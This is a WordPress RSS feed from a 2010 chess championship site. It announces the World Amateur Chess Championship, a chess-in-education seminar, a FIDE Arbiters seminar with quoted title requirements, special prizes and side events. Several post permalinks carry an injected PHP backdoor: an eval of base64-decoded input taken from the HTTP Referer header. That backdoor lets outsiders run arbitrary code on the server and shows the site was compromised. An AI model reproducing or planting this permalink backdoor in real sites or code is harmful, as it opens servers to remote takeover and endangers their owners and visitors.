World Amateur and Intercontinental School Team Championships http://www.worldchesschamps.com Wed, 10 Mar 2010 02:04:20 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Chess in Education Seminar http://www.worldchesschamps.com/2010/03/09/chess-in-education-seminar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.worldchesschamps.com/2010/03/09/chess-in-education-seminar/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 10 Mar 2010 02:04:20 +0000 admin http://www.worldchesschamps.com/?p=467 March 27, 2010

10:00 am – 3:00 pm

CHESS  FOR  EDUCATORS

Professional Seminar

Designed for elementary and secondary school chess coaches, parents, and volunteers

5 CPDUs available for educators!  

Presented by

Dr. Alexander Kostyev, Moscow, Russia

Co-Chair, FIDE Chess Education Committee

Chair, Chess Department, Moscow University

FM Wang Rui, Beijing, China

The High School Affiliated to Renmin University of China

  IM Vyacheslav Styazhkin, St. Petersburg, Russia

         School-Gymnazia #2, St. Petersburg

Dr. Mikhail Korenman

Seminar Facilitator

The seminar includes the following topics:

  • How to design curriculum for elementary and secondary school chess clubs?
  • How to motivate students to study chess themselves?
  • How to improve chess tactics and strategies?
  • How to plan chess activities for the academic year?

Seminar requirements: Participants should be involved in teaching chess at local level.

Tuition: $50; $75 with 5 CPDU’s. One FREE entrée for anyone represents teams participated at the Intercontinental Chess Team Championship!

For more information please contact Dr. Mikhail Korenman, at 785-906-0402 or via e-mail: intecsus@yahoo.com  

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World Amateur Chess Championship
March 19 – 25, 2010
9R-SS | G/90 + 30/sec increment
$20,000 USD Prize Fund Guaranteed
2 Scholarships to Texas Tech University
FIDE Master and Woman FIDE Master title to top male  and female player
More info: http://www.worldchesschamps.com/world-amateur/general-information/

Intercontinental School Team Championship
March 26 – 28, 2010
U18, U16, U14, U12, U10 sections
More info: http://www.worldchesschamps.com/world-school-team/regulation/

FIDE Arbiters Seminar
March 22 – 25
Required seminar for FIDE Arbiter title
More info: http://www.worldchesschamps.com/side-events/arbiter/

25th North American Masters
March 20 – 24
9R-SS | G/90 + 30/sec increment
$5,000 USD Prize Fund Guaranteed
GM/IM/WGM/WIM norms available
More info: http://www.worldchesschamps.com/side-events/25th-na-masters/

All events held at:

Holiday Inn North Shore Hotel
5300 W Touhy Ave
Skokie, IL 60077
http://www.hiskokie.com
 

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For the full list please visit:

http://www.worldchesschamps.com/world-school-team/pre-registered/

More teams are being processed, we just haven't had the chance to post them yet.

 

Good Chess to All,

Sevan A. Muradian
Organizer, World Amateur Chess Championship

Dr. Mikhail Korenman
Organizer, Intercontinental School Team Chess Championship

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The DGT North American is the newest clock in the array of timers that DGT North America has brought to the forefront. An easy to use clock with a stylish look make this clock the perfect addition for all players.

Take a look below at this beautiful piece of genius:

 

 

Good Chess to all,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

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This will be the first time that a FIDE Arbiters Seminar will be held in the United States!

The North American Chess Association is the first chess organization to bring a FIDE Arbiters Seminar to the United States!

 

SEMINAR INFORMATION:

Organizers: North American Chess Association and the FIDE Arbiters Commission

Dates: March 22 – 25, 2010

Venue: Holiday Inn Hotel, Skokie, IL USA

Lecturer: International Arbiter Stewart Reuben (ENG)

Assistant: International Arbiter Sevan A. Muradian (USA)

Language: English

Regulations to be discussed:

FIDE regulations. The US rules will only be discussed for comparison to international practice

Schedule:

Dates Time Topics Discussed
03/22 9am – 2pm

Laws of Chess

Tournament rules, Tie Break Criteria
03/23 9am – 2pm

Use of Electronic Clocks

System of Games: Round Robin, Swiss System, Pairing Rules
03/24 9am – 2pm

Titles (all titles) and rating regulations

Application procedures
03/25 10am – 1pm

Examination

80% or better required to pass

General Notes:

Participation fees: $250USD. Fee includes lunch served each day along and FIDE examination fee. The lecturer maintains the right to alter the schedule of discussion as long as all topics listed above are covered.

 

 

Why is this important? Because part of new requirement for you to achieve your FIDE Arbiter title is the successful completion of the courses and examination of a FIDE Arbiters Seminar. Here are the guidelines from FIDE's website on the requirements of the title of FIDE Arbiter:

http://www.fide.com/component/handbook/?id=14&view=category

 

3. Requirements for the title of FIDE Arbiter (FA).

All of the following:
   

3.1 Thorough knowledge of the Laws of Chess, the FIDE Regulations for chess competitions, the Swiss Pairing Systems.

3.2 Absolute objectivity, demonstrated at all times during his activity as an arbiter.

3.3 Sufficient knowledge of at least one official FIDE language.

3.4 Skills to operate electronic chess clocks of different types and for different systems.

3.5 Experience as chief or deputy arbiter in at least three (3) FIDE Rated events (these can be either national or international) and attendance of at least one (1) FIDE Arbiters' Seminar and successful passing (at least 80%) an examination test set by the Arbiters' Commission.
FIDE rated event valid for a norm is considered any tournament with minimum 10 players in case that it is played with Round Robin system, with minimum 6 players in case that it is played with Double Round Robin system and with minimum 20 players in case that it is played with Swiss system.

3.6 The title of FIDE Arbiter for each of the IBCA, ICSC, and IPCA shall each be equivalent to one FA norm.

3.7 For a candidate, being a match arbiter in an Olympiad is equivalent to one FA norm. No more than one such norm will be considered for the title.

3.8 Being chief or deputy arbiter in official World and Continental Rapid Championships shall be equivalent to one (1) FA norm. No more than one such norm will be considered for the title.

3.9 Attendance of one (1) FIDE Arbiters' Seminar and successful passing (at least 80%) an examination test set by the Arbiters' Commission, shall be equivalent to one (1) FA norm. Not more than one (1) such norm will be considered for the title.

3.10 Applicants from federations which are unable to organize any tournaments valid for titles or rating, may be awarded the title on successful passing an examination test (at least 80%) set by the Arbiters` Commission.

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Are you considering a serious run for the World Amateur and want to work with someone before or during the World Amateur to help you with the parts of the game that trouble you the most or you need polishing on?

If so please feel free to reach out to me for recommendations on different players that are available for face to face training sessions or lessons on ICC.

 

Good Chess to All,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

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The federations represented so far are:

  • Americas – United States
  • Europe – Russia, Finland
  • Asia – Sri Lanka

The true early bird is from Russia in the form of Mikhail Strovsky.

From the US we can split it in two ways – we have Prathanstha Amarsinghe who lives in north central part of the US but represents Sri Lanka. Then we have Matt Helfst from the east coast and his federation is US.

Some of our special registration deals expires on January 15, 2010. Best take advantage of them before they are all taken up!

 

Good Chess to All,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

Dr. Mikhail Korenman, Founder
International Educational and Cultural Services
International Organizer

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Mr. Manuel Nieto               Mrs. Sandra Nieto

 

A short bio of Mr. Manual Nieto and his wife Mrs. Sandra Nieto, is available under the heading of Our Team in the Arbiters and Media sections respectively.

Good Chess to All,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

Dr. Mikhail Korenman, Founder
International Educational and Cultural Services
International Organizer

]]> http://www.worldchesschamps.com/2009/12/03/additions-to-the-team/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Some of the special prizes for the World Amateur http://www.worldchesschamps.com/2009/12/02/some-of-the-special-prizes-for-the-world-amateur/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.worldchesschamps.com/2009/12/02/some-of-the-special-prizes-for-the-world-amateur/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 02 Dec 2009 18:48:51 +0000 admin http://www.worldchesschamps.com/?p=312 The World Amateur Chess Championship offers some special prizes, unlike many other events.

One of special awards comes from FIDE directly, where the top overall player will be granted the title of FIDE Master (FM) with a rating of 2200. It is irrelevant if this winner is male or female as female players are eligible for this as well.

The top female player (or in the case if the overall winner is female, then the 2nd place female player) will be granted the title of Woman FIDE Master (WFM) with a rating of 2050. The second and third place winner in the overall section will receive a rating of 2100 and 2050 respectively.

Normally for someone to achieve the title of FM, they must achieve a published rating of 2300. To achieve the title of WFM, a female player must achieve a published rating of 2100.

In addition to the title of World Amateur Champion and World Woman's Amateur Champion, the titles, the rating, we also are proud to have 2 Texas Tech Scholarships, provided to the event by the SPICE program, to the top male and female performer under the age of 26. Each scholarship has a value of up to $36,000 USD. Winners must meet all eligibility requirements of Texas Tech University.

As more special prizes become available we will continue to post them.

Good Chess to All,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

Dr. Mikhail Korenman, Founder
International Educational and Cultural Services
International Organizer

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25th North American Masters

We will be holding the 25th installment of the highly successful North American Masters (formerly North American FIDE Invitational) title norm series. This will be a 9R-SS tournament utilizing a time control of G/90 + 30/sec increments with a prize fund of $5000 USD. GM/IM/WGM/WIM norms all available. More information will be available soon on this.

FIDE Arbiters seminar

The arbiters seminar is a new requirement for those wishing to attain the title of FIDE Arbiter. A test will be administered on the final day that must be passed to achieve the norm from the seminar. A fee of $300 USD will apply to those that wish to participate. This fee will help cover the costs of the seminar.There will be only 30 spots open for this seminar. The seminar will be delivered by International Arbiter Stewart Reuben.

Blitz Tournament

A 10R-SS G/5 blitz tournament will be held during the weekday mornings and will be open to all players. A $20 entry fee will apply with trophies and other prizes. Profits from this event will be donated to the Chicago Blaze, US Chess League team.

Chess960 / Fischer Random Tournament

A 5R-SS G/15 Chess960 tournament will be held during the weekday mornings and will be open to all players. A $20 entry fee will apply with trophies and other prizes. Profits from this event will be donated to the Chicago Blaze, US Chess League team.

Grandmaster Simul

A tandem simul will be held by 2 or 3 Grandmasters. More information as this becomes available.

Chess Education Seminar

More information as this becomes available.

Good Chess to All,

Sevan A. Muradian, Founder
North American Chess Association
International Arbiter and International Organizer

Dr. Mikhail Korenman, Founder
International Educational and Cultural Services
International Organizer

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